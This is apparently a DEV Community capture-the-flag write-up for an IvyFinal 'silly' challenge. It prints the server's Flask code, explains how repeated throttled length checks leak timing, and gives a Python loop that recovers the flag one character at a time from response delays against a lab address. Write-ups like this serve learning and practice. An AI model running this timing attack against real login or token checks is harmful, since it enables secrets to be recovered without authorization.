DEV Community

wireless90
wireless90

Posted on

IvyFinal CTF (Crypto 3) - Silly 400 - points

You can get the binary here .

silly - 400 points

192.168.40.199 8300

The server code is given to us as such.

from flask import Flask, request, Response from flask_cors import CORS from hashlib import md5 import time app = Flask(__name__) CORS(app) def get_flag_length(): time.sleep(0.05) # Throttling against brute-forcers  flag = open('../flag.txt','r').read() return len(flag) def get_flag_char(i): flag = open('../flag.txt','r').read() return flag[i].encode() def checkflag(userflag): for i, c in enumerate(userflag): if get_flag_length() <= i: return False if c.encode() != get_flag_char(i): return False if get_flag_length() != len(userflag): return False return True @app.route("/", methods=['GET']) def index(): userflag = request.args.get('flag') if not userflag: return Response("Missing flag", status=401) if checkflag(userflag): return Response("YOU DID IT!!!", status=200) else: return Response("Wrong flag. Characters supported: [a-z_{}]", status=401) 
Enter fullscreen mode Exit fullscreen mode

Let's Begin

In order to get the flag, we need to pass the checkflag method.

The index method also gives us the clue to the characters in the flag.

return Response("Wrong flag. Characters supported: [a-z_{}]", status=401) 
Enter fullscreen mode Exit fullscreen mode

In the checkflag method, it checks for every character if get_flag_length() <= i.

We can see a bruteforce preventive measure in the function.

time.sleep(0.05) # Throttling against brute-forcers 
Enter fullscreen mode Exit fullscreen mode

However, due to multiple uses of get_flag_length in the checkflag method, this could cause a delayed response when we entered a wrong character vs the correct character. The correct character will incur a longer delay.

Thus we can perform a time based attack. The character which incurred the longest delay would be the right one.

In [10]: import requests In [11]: payload = {'flag': 'a'} In [12]: response = requests.get('http://192.168.40.199:8300', params=payload) In [13]: response.text Out[13]: 'Wrong flag. Characters supported: [a-z_{}]' 
Enter fullscreen mode Exit fullscreen mode

So we know that the flag contains lower case alphabets, curly braces and underscores.

So to do the time based attack, we can

In [28]: import string In [29]: import requests In [30]: characters = [ch for ch in string.ascii_lowercase] + ['{', '}', '+'] In [31]: found = [] In [32]: while '}' not in found: ...: longest_time = 0 ...: character = '0' ...: for ch in characters: ...: payload = {'flag': ''.join(found) + ch} ...: response = requests.get('http://192.168.40.199:8300', params=payload) ...: seconds = response.elapsed.total_seconds() ...: if seconds > longest_time: ...: longest_time = seconds ...: character = ch ...: found.append(character) ...: print(''.join(found)) ...: i iv ivy ivyc ivyct ivyctf ivyctf{ ivyctf{c ivyctf{ca ivyctf{can ivyctf{can} 
Enter fullscreen mode Exit fullscreen mode

And we got the flag.

Top comments (0)